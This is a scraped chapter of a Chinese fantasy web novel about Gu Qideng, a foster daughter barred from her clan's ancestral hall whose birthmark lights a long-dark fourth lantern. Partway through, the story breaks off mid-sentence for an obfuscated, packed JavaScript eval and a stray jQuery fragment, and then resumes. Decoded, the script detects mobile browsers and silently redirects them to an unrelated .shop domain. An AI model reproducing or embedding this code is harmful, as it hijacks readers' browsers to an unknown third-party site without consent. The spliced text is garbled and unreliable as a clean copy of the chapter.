文趣网 > 其他小说 > 祠堂外的第四盏灯 > 1. 第1章
    大晟永安二十三年,临江连下七日冷雨。

    城中老人说,雨若下满七日,顾家便要开祠堂。

    顾氏盘踞临江近两百年,掌盐运、设药行,半城商铺都挂着顾家的灯号。每逢归灯祭,顾家祠堂一开,后山一带便不许外人靠近,连城守都会遣人守住街口。

    可临江城还有另一句不敢放到明面上说的话。

    每逢归灯祭,总会少几盏灯。

    有时是一户人家死了人,有时是巷子里有人失踪,有时只是某个原本红火的铺子忽然关门,门前那盏灯从此再没亮过。

    顾栖灯小时候听过一次,被顾夫人捂住耳朵,说小孩子别听这些晦气话。

    后来她长大了,便再没人当着她的面提起。

    入夜时,雨势渐小。

    顾家祠堂前的石阶被洗得发亮,檐下挂着一排铜铃,风一吹,铃声清清冷冷地散进雨雾里。

    顾栖灯站在最后一阶台阶下,手中提着一盏白纸灯。

    灯是她亲手糊的。

    灯面干净得没有一个字,灯腹里也没有灯油。

    她小时候不懂,曾问过二哥,为什么祭祀时人人手中都有灯,只有她的灯是空的。

    二哥那时一边剥栗子,一边笑着哄她:“因为阿栖年纪小,提空灯才不会烫手。”

    她信了好几年。

    直到十二岁那年,她在祠堂后院看见顾家旁支的姑娘提着一盏小灯。那姑娘比她还小两岁,灯里却燃着暖黄的火。

    顾栖灯才明白,不是因为她年纪小。

    是因为她的灯,不能点。

    祠堂厚重的木门缓缓打开。

    顾家族人依次进入,衣摆扫过湿润青砖,没人高声说话。最先进去的是族中长老,接着是各房主事,最后才是顾家的几个孩子。

    顾承晏走在前面。

    他穿着玄色祭服,袖口与衣摆都压着暗金纹,雨水没能沾到他半分。顾栖灯看着他的背影,忽然想起半个时辰前,他在东院门口特意停下来,替她把披风系紧。

    他说今夜风冷,别着凉。

    顾栖灯那时还觉得,大哥既然记得她怕冷,或许今晚也会记得带她进去。

    顾长舟跟在顾承晏身侧,白衣外罩着祭服,仍显得比旁人松散些。他经过顾栖灯时,悄悄往她袖中塞了一颗糖。

    “别板着脸。”他压低声音,“等祭完,我给你留一碗桂花酿。”

    顾栖灯没有接话。

    顾长舟看出她不高兴,刚想再说什么,身后却有人催他。他只得朝她眨了眨眼,快步跟上大哥。

    最后经过的是顾长川。

    他刚从外地回来不久,衣服上没有其他人那样繁复的祭纹,只在腰间挂着顾家三房的令牌。他平日里总像与顾宅格格不入,站在人群中时,连影子都比别人更冷一些。

    顾栖灯原本没想看他。

    可顾长川经过她时,脚步忽然顿了一下。

    他垂眼,看见她手中那盏空白纸灯,也看见她因为攥得太紧而发白的指节。

    顾栖灯以为他会像二哥那样说点什么。

    可顾长川只是看了她一眼,便越过她往前走。

    顾栖灯低下头,正要跟上,守在祠堂门前的顾长老却抬手拦住她。

    “四小姐。”

    长老须发皆白,平日里总是一副慈和模样。他看着顾栖灯,笑意温和得没有一点破绽。

    “外姓之人,不宜入祠。”

    雨水从伞沿滴落。

    顾栖灯没有立刻说话。

    这句话她听了很多年。

    从前她会委屈,会问顾夫人自己是不是做错了什么;再大一点,她学会不问。顾夫人会在祭祀后给她带一枝白梅,大哥会替她留一盏灯,二哥会带她去城南吃点心。

    他们都对她很好。

    好到顾栖灯有时会觉得,自己若再追问祠堂的事,反倒显得不知好歹。

    可今夜她不想再装作什么都不明白。

    她抬起头,看着长老。

    “去年冬祭时,您让我在祠堂外替祖宗抄了三夜祭文。”她声音不大,“既然我是外姓,为何又要我替顾家守祭文?”

    长老的笑容微微一顿。

    祠堂门口安静下来。

    顾长舟回过头,神情里有一点意外。顾承晏也停下脚步,隔着雨幕望向她。

    顾栖灯继续道:“前年族谱重修,是大哥亲手将我的名字写进顾氏一页。若我不算顾家人,为何要写?”

    长老看着她。

    “四小姐,族谱上的名字是情分,祠堂里的规矩是规矩。”

    “情分能写进族谱,规矩却不能让我上一炷香?”

    顾栖灯问得很平静。

    她没有提高声音,也没有哭。

    可正因为如此,长老一时竟没能立刻回答。

    顾栖灯知道自己不该在这种场合逼问。她也知道,顾家人最擅长的便是把许多事藏进“规矩”两个字里。

    可她忽然不想再替他们把话说圆了。

    顾承晏终于开口:“阿栖。”

    他语气很轻。

    顾栖灯抬眼看他。

    大哥站在祠堂门内,背后是温暖明亮的灯火。他看着她,眼中有一瞬很复杂的情绪,像歉意,像无奈,又像在求她不要继续问下去。

    “外头风大。”他说,“回去吧。”

    顾栖灯望着他。

    “你也觉得我不该进去?”

    顾承晏没有立即回答。

    只是这一瞬的沉默,已经足够。

    顾栖灯心里那点尚未熄灭的期待,忽然被雨水浇得透凉。

    她不再看他。

    “好。”

    她撑开伞,转身往回走。

    顾长舟似乎想追出来,却被顾承晏叫住。顾长川始终没有说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968825|214618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    话,只是在她转身时,目光落到她的背影上。

    顾栖灯走得不快。

    经过老槐树时,她停了一下。

    祠堂外一共挂着四盏灯。

    前三盏在正门廊下,分别属于顾家三房,灯火明亮而稳定。第四盏却挂在祠堂侧面老槐树下,灯座锈迹斑斑,灯罩蒙着灰,像很多年没人碰过。

    顾栖灯小时候问过顾夫人,这盏灯供谁。

    顾夫人当时正在给她梳头,梳子忽然停在半空。过了很久,才说:

    “一盏不该亮的灯。”

    从那以后,顾栖灯便再没问。

    可今夜,她看着那盏灯,忽然发现灯座下方缠着一根极细的红线。

    红线另一端,没入槐树后方的阴影。

    像有人刚刚在这里放过什么。

    顾栖灯没有立刻靠近。

    她先环顾四周。

    祠堂门前的守卫都在看正门,没人注意侧面。雨也停得差不多了,只剩槐树叶上的水珠一滴滴往下落。

    她弯下身,从裙摆上拔下一根细针。

    针尖挑开红线时,树根旁掉出一粒暗红色的蜡丸。

    蜡丸表面沾着黑色灯油,靠近时有一股很淡的异香。顾栖灯从未闻过这种味道,却莫名觉得熟悉。

    像二哥药碗里曾有过的一点苦味。

    她将蜡丸包进帕子,塞进袖中。

    就在这时,手腕忽然一烫。

    顾栖灯低头。

    袖口滑下半寸,露出那道从小就有的灯形胎记。雨后微凉的空气里,胎记正一点点泛红,像皮肤下燃起了一粒火星。

    她下意识伸手去按。

    下一刻,老槐树下传来“噗”的一声轻响。

    第四盏灯亮了。

    火焰起初只有豆大一点。

    随后猛地窜高。

    赤红色灯火穿透夜色,映亮整片湿漉漉的园子,也映亮顾栖灯来不及收回的手腕。

    祠堂内的诵经声骤然停了。

    紧闭的木门被人从里面推开。

    长老、顾承晏、顾长舟,还有一众族人全都站在门内,齐齐望向那盏灯。

    没有人说话。

    顾栖灯看见大哥的脸色白了一瞬;二哥手里的祭香掉在地上;而顾长川站在人群最末,目光落在她手腕上,神色比任何人都沉。

    长老手中的祭器砸在青砖上,发出清脆的一声响。

    他盯着顾栖灯,嘴唇微微发颤。

    “怎么会……”

    雨后的风吹过槐树。

    第四盏灯越烧越亮。

    顾栖灯站在灯下,忽然发现所有人看她的目光都变了。

    不再是看顾家养大的四小姐。

    而像在看一件终于从地底翻出来的旧物。

    长老抬起头,声音不大,却清清楚楚穿过夜色。

    “她怎么会在今夜回来?”